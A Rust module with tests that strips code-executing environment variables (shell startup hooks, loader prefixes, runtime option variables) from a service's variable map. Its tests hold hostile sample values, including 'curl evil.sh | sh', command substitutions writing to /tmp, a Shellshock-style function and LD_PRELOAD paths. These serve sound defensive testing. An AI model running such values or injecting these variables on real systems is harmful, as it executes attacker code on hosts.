use std::collections::BTreeMap;
const UNSAFE_NAMES: &[&str] = &[
"PROMPT_COMMAND",
"BASH_ENV",
"ENV",
"SHELLOPTS",
"BASHOPTS",
"PS1",
"PS2",
"PS4",
"IFS",
"CDPATH",
"GLOBIGNORE",
"ZDOTDIR",
"FPATH",
"NODE_OPTIONS",
"NODE_REPL_EXTERNAL_MODULE",
"PYTHONSTARTUP",
"PYTHONPATH",
"PYTHONHOME",
"RUBYOPT",
"RUBYLIB",
"PERL5OPT",
"PERL5LIB",
"PERL5DB",
"GIT_SSH",
"GIT_SSH_COMMAND",
"GIT_EXTERNAL_DIFF",
"GIT_PAGER",
"GIT_EDITOR",
"PAGER",
"EDITOR",
"VISUAL",
];
const UNSAFE_PREFIXES: &[&str] = &[
"LD_", "DYLD_", "BASH_FUNC_", ];
fn is_unsafe(name: &str) -> bool {
UNSAFE_NAMES.iter().any(|n| n.eq_ignore_ascii_case(name))
|| UNSAFE_PREFIXES.iter().any(|p| {
name.len() >= p.len() && name.as_bytes()[..p.len()].eq_ignore_ascii_case(p.as_bytes())
})
}
pub fn strip_unsafe_host_vars(variables: &mut BTreeMap<String, String>) -> Vec<String> {
let dropped: Vec<String> = variables
.keys()
.filter(|name| is_unsafe(name))
.cloned()
.collect();
for name in &dropped {
variables.remove(name);
}
dropped
}
pub fn dropped_notice(dropped: &[String]) -> Option<String> {
if dropped.is_empty() {
return None;
}
Some(format!(
"Skipped {} service variable{} that can execute code in a local process: {}",
dropped.len(),
if dropped.len() == 1 { "" } else { "s" },
dropped.join(", ")
))
}
#[cfg(test)]
mod tests {
use super::*;
fn map(pairs: &[(&str, &str)]) -> BTreeMap<String, String> {
pairs
.iter()
.map(|(k, v)| ((*k).to_string(), (*v).to_string()))
.collect()
}
#[test]
fn strips_shell_startup_hooks() {
let mut vars = map(&[
("PROMPT_COMMAND", "curl evil.sh | sh"),
("BASH_ENV", "$(id > /tmp/pwned)"),
("ENV", "$(id)"),
("DATABASE_URL", "postgres://localhost/app"),
]);
let dropped = strip_unsafe_host_vars(&mut vars);
assert_eq!(dropped, vec!["BASH_ENV", "ENV", "PROMPT_COMMAND"]);
assert_eq!(vars.len(), 1);
assert!(vars.contains_key("DATABASE_URL"));
}
#[test]
fn strips_loader_and_runtime_families() {
let mut vars = map(&[
("LD_PRELOAD", "/tmp/x.so"),
("DYLD_INSERT_LIBRARIES", "/tmp/x.dylib"),
("BASH_FUNC_ls%%", "() { :; }; id"),
("NODE_OPTIONS", "--require /tmp/x.js"),
("PERL5OPT", "-Mevil"),
("PORT", "3000"),
]);
let dropped = strip_unsafe_host_vars(&mut vars);
assert_eq!(dropped.len(), 5);
assert_eq!(vars.keys().collect::<Vec<_>>(), vec!["PORT"]);
}
#[test]
fn matching_ignores_case() {
let mut vars = map(&[("prompt_command", "id"), ("ld_preload", "/tmp/x.so")]);
assert_eq!(strip_unsafe_host_vars(&mut vars).len(), 2);
assert!(vars.is_empty());
}
#[test]
fn a_multibyte_name_does_not_panic() {
let mut vars = map(&[
("L\u{00d0}_X", "v"),
("\u{00e9}", "v"),
("DYL\u{00d0}_X", "v"),
]);
assert!(strip_unsafe_host_vars(&mut vars).is_empty());
assert_eq!(vars.len(), 3);
}
#[test]
fn leaves_ordinary_variables_alone() {
let mut vars = map(&[
("DATABASE_URL", "postgres://localhost/app"),
("ENVIRONMENT", "production"),
("NODE_ENV", "production"),
("LDAP_URL", "ldap://example.com"),
("PATH_PREFIX", "/api"),
]);
assert!(strip_unsafe_host_vars(&mut vars).is_empty());
assert_eq!(vars.len(), 5);
}
#[test]
fn notice_is_none_when_nothing_dropped() {
assert!(dropped_notice(&[]).is_none());
assert!(
dropped_notice(&["BASH_ENV".to_string()])
.unwrap()
.contains("BASH_ENV")
);
}
}